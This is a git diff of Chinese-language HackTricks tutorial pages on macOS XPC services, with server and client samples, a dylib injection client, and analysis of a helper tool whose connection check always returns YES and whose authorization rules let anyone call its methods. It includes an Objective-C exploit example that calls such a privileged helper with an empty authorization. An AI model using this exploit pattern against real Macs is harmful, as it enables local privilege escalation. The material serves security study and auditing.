<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -280,8 +220,10 @@ launchctl load /path/to/xyz.hacktricks.service.plist
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
```
|
||||||
```bash
|
```bash
|
||||||
# Compile the server & client
|
# Compile the server & client
|
||||||
gcc xpc_server.c -o xpc_server
|
gcc xpc_server.c -o xpc_server
|
||||||
|
@ -301,7 +243,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||||
```
|
```
|
||||||
## XPC通信Objective-C代码示例
|
## XPC 通信 Objective-C 代码示例
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="oc_xpc_server.m" %}
|
{% tab title="oc_xpc_server.m" %}
|
||||||
|
@ -354,6 +296,8 @@ listener.delegate = delegate;
|
||||||
sleep(10); // Fake something is done and then it ends
|
sleep(10); // Fake something is done and then it ends
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="oc_xpc_client.m" %}
|
{% tab title="oc_xpc_client.m" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||||
|
@ -377,21 +321,9 @@ NSLog(@"Received response: %@", response);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
|
||||||
|
|
||||||
## xyz.hacktricks.svcoc.plist
|
|
||||||
|
|
||||||
This file is a property list file used by macOS to configure and manage XPC services. XPC (Cross-Process Communication) is a mechanism that allows processes to communicate with each other in a secure and efficient manner.
|
|
||||||
|
|
||||||
The `xyz.hacktricks.svcoc.plist` file contains configuration settings for the `xyz.hacktricks.svcoc` XPC service. By modifying this file, you can potentially abuse the XPC service to escalate privileges or perform other malicious actions.
|
|
||||||
|
|
||||||
To analyze the `xyz.hacktricks.svcoc.plist` file, you can use a property list editor or a text editor to view its contents. Look for any sensitive information, such as file paths, command line arguments, or environment variables, that could be leveraged for privilege escalation or other attacks.
|
|
||||||
|
|
||||||
Additionally, you can also look for any custom methods or functions defined in the XPC service that could be abused to execute arbitrary code or manipulate system resources.
|
|
||||||
|
|
||||||
Keep in mind that modifying or abusing XPC services can have serious consequences and may violate the terms of service or legal agreements. Always ensure that you have proper authorization and follow ethical guidelines when conducting any security research or testing.
|
|
||||||
|
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -433,67 +365,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
||||||
```
|
```
|
||||||
## 在 Dylb 代码中的客户端
|
## 客户端在 Dylb 代码内
|
||||||
|
|
||||||
The client code inside a Dylb is responsible for establishing a connection with the server and sending requests. It is an essential component of the inter-process communication (IPC) mechanism in macOS.
|
|
||||||
|
|
||||||
Dylb (Dynamic Library) 是 macOS 中的一个动态库,其中的客户端代码负责与服务器建立连接并发送请求。它是 macOS 中进程间通信 (IPC) 机制的一个重要组成部分。
|
|
||||||
|
|
||||||
### Usage
|
|
||||||
|
|
||||||
To use the Dylb client code, follow these steps:
|
|
||||||
|
|
||||||
1. Import the necessary frameworks and libraries.
|
|
||||||
2. Create an instance of the `NSXPCConnection` class.
|
|
||||||
3. Set the appropriate `NSXPCInterface` for the connection.
|
|
||||||
4. Set the `NSXPCConnection` delegate.
|
|
||||||
5. Establish the connection using the `resume()` method.
|
|
||||||
6. Call the remote methods using the connection's `remoteObjectProxy` property.
|
|
||||||
|
|
||||||
### 用法
|
|
||||||
|
|
||||||
要使用 Dylb 客户端代码,请按照以下步骤进行操作:
|
|
||||||
|
|
||||||
1. 导入所需的框架和库。
|
|
||||||
2. 创建 `NSXPCConnection` 类的实例。
|
|
||||||
3. 为连接设置适当的 `NSXPCInterface`。
|
|
||||||
4. 设置 `NSXPCConnection` 的委托。
|
|
||||||
5. 使用 `resume()` 方法建立连接。
|
|
||||||
6. 使用连接的 `remoteObjectProxy` 属性调用远程方法。
|
|
||||||
|
|
||||||
```swift
|
|
||||||
import Foundation
|
|
||||||
import XPC
|
|
||||||
|
|
||||||
// Create an instance of NSXPCConnection
|
|
||||||
let connection = NSXPCConnection(serviceName: "com.example.MyService")
|
|
||||||
|
|
||||||
// Set the appropriate NSXPCInterface
|
|
||||||
let interface = NSXPCInterface(with: MyServiceProtocol.self)
|
|
||||||
connection.remoteObjectInterface = interface
|
|
||||||
|
|
||||||
// Set the NSXPCConnection delegate
|
|
||||||
connection.delegate = self
|
|
||||||
|
|
||||||
// Establish the connection
|
|
||||||
connection.resume()
|
|
||||||
|
|
||||||
// Call remote methods
|
|
||||||
let remoteObject = connection.remoteObjectProxy as? MyServiceProtocol
|
|
||||||
remoteObject?.performAction()
|
|
||||||
```
|
|
||||||
|
|
||||||
Remember to replace `"com.example.MyService"` with the appropriate service name for your application.
|
|
||||||
|
|
||||||
请记得将 `"com.example.MyService"` 替换为您的应用程序的适当服务名称。
|
|
||||||
|
|
||||||
### Conclusion
|
|
||||||
|
|
||||||
The client code inside a Dylb is crucial for establishing communication with a server and sending requests in macOS. By following the steps mentioned above, you can effectively use the Dylb client code in your applications.
|
|
||||||
|
|
||||||
结论
|
|
||||||
|
|
||||||
Dylb 中的客户端代码对于在 macOS 中与服务器建立通信并发送请求至关重要。通过按照上述步骤操作,您可以在应用程序中有效地使用 Dylb 客户端代码。
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||||
// gcc injection example:
|
// gcc injection example:
|
||||||
|
@ -529,12 +401,14 @@ return;
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,13 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -16,11 +18,11 @@
|
||||||
|
|
||||||
苹果还提出了另一种验证连接进程是否有**权限调用暴露的 XPC 方法**的方法。
|
苹果还提出了另一种验证连接进程是否有**权限调用暴露的 XPC 方法**的方法。
|
||||||
|
|
||||||
当应用程序需要以特权用户身份**执行操作**时,通常不会以特权用户身份运行应用程序,而是以 root 用户身份安装一个作为 XPC 服务的 HelperTool,该服务可以被应用程序调用以执行这些操作。然而,调用服务的应用程序应该有足够的授权。
|
当应用程序需要**以特权用户身份执行操作**时,通常不会以特权用户身份运行应用程序,而是以 root 用户身份安装 HelperTool 作为 XPC 服务,该服务可以被应用程序调用以执行这些操作。然而,调用服务的应用程序应该有足够的授权。
|
||||||
|
|
||||||
### ShouldAcceptNewConnection 总是返回 YES
|
### ShouldAcceptNewConnection 总是返回 YES
|
||||||
|
|
||||||
一个例子可以在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中找到。在 `App/AppDelegate.m` 中,它尝试**连接**到**HelperTool**。并且在 `HelperTool/HelperTool.m` 中,函数 **`shouldAcceptNewConnection`** **不会检查**之前指示的任何要求。它将始终返回 YES:
|
一个例子可以在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中找到。在 `App/AppDelegate.m` 中,它尝试**连接**到 **HelperTool**。并且在 `HelperTool/HelperTool.m` 中,函数 **`shouldAcceptNewConnection`** **不会检查**之前指示的任何要求。它将始终返回 YES:
|
||||||
```objectivec
|
```objectivec
|
||||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||||
|
@ -45,10 +47,10 @@ return YES;
|
||||||
|
|
||||||
### 应用程序权限
|
### 应用程序权限
|
||||||
|
|
||||||
然而,当从 HelperTool 调用方法时,确实存在一些**授权操作**。
|
然而,当从 HelperTool 调用方法时,**确实进行了一些授权**。
|
||||||
|
|
||||||
函数 **`applicationDidFinishLaunching`** 来自 `App/AppDelegate.m` 将在应用程序启动后创建一个空的授权引用。这应该总是有效的。\
|
函数 **`applicationDidFinishLaunching`** 来自 `App/AppDelegate.m` 将在应用程序启动后创建一个空的授权引用。这应该总是有效的。\
|
||||||
然后,它将尝试通过调用 `setupAuthorizationRights` 向该授权引用**添加一些权限**:
|
然后,它将尝试通过调用 `setupAuthorizationRights` **添加一些权限**到那个授权引用:
|
||||||
```objectivec
|
```objectivec
|
||||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||||
{
|
{
|
||||||
|
@ -72,9 +74,7 @@ if (self->_authRef) {
|
||||||
[self.window makeKeyAndOrderFront:self];
|
[self.window makeKeyAndOrderFront:self];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
函数 `setupAuthorizationRights` 来自 `Common/Common.m`,它会将应用程序的权限存储在授权数据库 `/var/db/auth.db` 中。请注意,它只会添加数据库中尚不存在的权限:
|
函数 `setupAuthorizationRights` 来自 `Common/Common.m`,它会将应用程序的权限存储在授权数据库 `/var/db/auth.db` 中。请注意,它只会添加数据库中尚不存在的权限:
|
||||||
```
|
|
||||||
```objectivec
|
```objectivec
|
||||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||||
// See comment in header.
|
// See comment in header.
|
||||||
|
@ -192,7 +192,7 @@ block(authRightName, authRightDefault, authRightDesc);
|
||||||
|
|
||||||
### 权限验证
|
### 权限验证
|
||||||
|
|
||||||
在`HelperTool/HelperTool.m`中,函数**`readLicenseKeyAuthorization`**检查调用者是否有权**执行此方法**,通过调用函数**`checkAuthorization`**。此函数将检查调用进程发送的**authData**是否**格式正确**,然后将检查**获得调用特定方法的权限需要什么**。如果一切顺利,**返回的`error`将是`nil`**:
|
在`HelperTool/HelperTool.m`中,函数**`readLicenseKeyAuthorization`**会检查调用者是否有权**执行此方法**,通过调用函数**`checkAuthorization`**。这个函数将检查调用进程发送的**authData**是否**格式正确**,然后将检查**获得调用特定方法的权限需要什么**。如果一切顺利,**返回的`error`将是`nil`**:
|
||||||
```objectivec
|
```objectivec
|
||||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||||
{
|
{
|
||||||
|
@ -240,7 +240,7 @@ assert(junk == errAuthorizationSuccess);
|
||||||
return error;
|
return error;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
请注意,为了**检查获取调用该方法的正确权限的要求**,函数`authorizationRightForCommand`将仅检查先前评论的对象**`commandInfo`**。然后,它将调用**`AuthorizationCopyRights`**来检查**是否有权**调用该函数(注意,标志允许与用户交互)。
|
请注意,为了**检查获取调用该方法的正确权限的要求**,函数`authorizationRightForCommand`将仅检查之前评论的对象**`commandInfo`**。然后,它将调用**`AuthorizationCopyRights`**来检查**是否有权**调用该函数(注意,标志允许与用户交互)。
|
||||||
|
|
||||||
在这种情况下,要调用函数`readLicenseKeyAuthorization`,`kCommandKeyAuthRightDefault`被定义为`@kAuthorizationRuleClassAllow`。所以**任何人都可以调用它**。
|
在这种情况下,要调用函数`readLicenseKeyAuthorization`,`kCommandKeyAuthRightDefault`被定义为`@kAuthorizationRuleClassAllow`。所以**任何人都可以调用它**。
|
||||||
|
|
||||||
|
@ -252,27 +252,27 @@ sudo sqlite3 /var/db/auth.db
|
||||||
SELECT name FROM rules;
|
SELECT name FROM rules;
|
||||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||||
```
|
```
|
||||||
```plaintext
|
```markdown
|
||||||
然后,您可以阅读谁可以访问该权限:
|
然后,您可以阅读谁可以访问权限:
|
||||||
```
|
```
|
||||||
```bash
|
```bash
|
||||||
security authorizationdb read com.apple.safaridriver.allow
|
security authorizationdb read com.apple.safaridriver.allow
|
||||||
```
|
```
|
||||||
### 宽松权限
|
### 过于宽松的权限
|
||||||
|
|
||||||
您可以在[**这里**](https://www.dssw.co.uk/reference/authorization-rights/)找到**所有权限配置**,但不需要用户交互的组合是:
|
您可以在[**这里**](https://www.dssw.co.uk/reference/authorization-rights/)找到**所有权限配置**,但不需要用户交互的组合是:
|
||||||
|
|
||||||
1. **'authenticate-user': 'false'**
|
1. **'authenticate-user': 'false'**
|
||||||
* 这是最直接的键。如果设置为`false`,它指定用户无需提供认证即可获得此权限。
|
* 这是最直接的键。如果设置为`false`,它指定用户不需要提供认证即可获得此权限。
|
||||||
* 这通常与下面两个中的一个**结合使用,或指示用户必须属于某个组**。
|
* 这通常与下面两个中的一个结合使用,或指示用户必须属于某个**组**。
|
||||||
2. **'allow-root': 'true'**
|
2. **'allow-root': 'true'**
|
||||||
* 如果用户以root用户(具有提升权限的用户)的身份操作,并且此键设置为`true`,则root用户可能在无需进一步认证的情况下获得此权限。然而,通常情况下,获得root用户状态已经需要认证,所以对大多数用户来说,这不是一个“无需认证”的场景。
|
* 如果用户以root用户(具有提升的权限)操作,并且此键设置为`true`,root用户可能在无需进一步认证的情况下获得此权限。然而,通常情况下,获得root用户状态已经需要认证,所以对大多数用户来说,这不是一个“无认证”场景。
|
||||||
3. **'session-owner': 'true'**
|
3. **'session-owner': 'true'**
|
||||||
* 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,这可能会绕过额外的认证。
|
* 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,这可能绕过额外的认证。
|
||||||
4. **'shared': 'true'**
|
4. **'shared': 'true'**
|
||||||
* 此键不授予无需认证的权限。相反,如果设置为`true`,这意味着一旦权限经过认证,它可以在多个进程之间共享,而无需每个进程重新认证。但是,权限的最初授予仍然需要认证,除非与其他键如`'authenticate-user': 'false'`结合使用。
|
* 这个键不授予权限而无需认证。相反,如果设置为`true`,这意味着一旦权限被认证,它可以在多个进程之间共享,而无需每个进程重新认证。但是,权限的最初授予仍然需要认证,除非与其他键结合使用,如`'authenticate-user': 'false'`。
|
||||||
|
|
||||||
您可以[**使用此脚本**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)来获取有趣的权限:
|
您可以[**使用这个脚本**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)来获取有趣的权限:
|
||||||
```bash
|
```bash
|
||||||
Rights with 'authenticate-user': 'false':
|
Rights with 'authenticate-user': 'false':
|
||||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||||
|
@ -289,11 +289,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
||||||
|
|
||||||
如果你发现函数:**`[HelperTool checkAuthorization:command:]`**,那么很可能该进程使用了之前提到的授权模式:
|
如果你发现函数:**`[HelperTool checkAuthorization:command:]`**,那么很可能该进程使用了之前提到的授权模式:
|
||||||
|
|
||||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果这个函数调用了如`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,它就是在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
如果这个函数调用了如`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,它就使用了[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
||||||
|
|
||||||
检查**`/var/db/auth.db`**,看看是否有可能在不需要用户交互的情况下获得调用某些特权操作的权限。
|
检查**`/var/db/auth.db`**,看是否有可能在不需要用户交互的情况下获得调用某些特权操作的权限。
|
||||||
|
|
||||||
### 协议通信
|
### 协议通信
|
||||||
|
|
||||||
|
@ -301,7 +301,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
||||||
|
|
||||||
函数**`shouldAcceptNewConnection`**指示正在导出的协议:
|
函数**`shouldAcceptNewConnection`**指示正在导出的协议:
|
||||||
|
|
||||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
在这个例子中,我们有的和EvenBetterAuthorizationSample中的一样,[**检查这一行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
在这个例子中,我们有的和EvenBetterAuthorizationSample中的一样,[**检查这一行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||||
|
|
||||||
|
@ -323,7 +323,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||||
|
|
||||||
* 在 **`[HelperTool init]`** 中,您可以看到正在使用的Mach服务:
|
* 在 **`[HelperTool init]`** 中,您可以看到正在使用的Mach服务:
|
||||||
|
|
||||||
<figure><img src="../../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* 在launchd plist中:
|
* 在launchd plist中:
|
||||||
```xml
|
```xml
|
||||||
|
@ -338,12 +338,12 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||||
</dict>
|
</dict>
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
### 利用示例
|
### 漏洞利用示例
|
||||||
|
|
||||||
在此示例中创建:
|
在此示例中创建:
|
||||||
|
|
||||||
* 协议定义及其函数
|
* 协议定义及其函数
|
||||||
* 用于请求访问的空认证
|
* 用于请求访问权限的空认证
|
||||||
* 与XPC服务的连接
|
* 与XPC服务的连接
|
||||||
* 如果连接成功,则调用函数
|
* 如果连接成功,则调用函数
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -429,12 +429,14 @@ NSLog(@"Finished!");
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在**HackTricks**中看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
|
||||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,33 +2,37 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
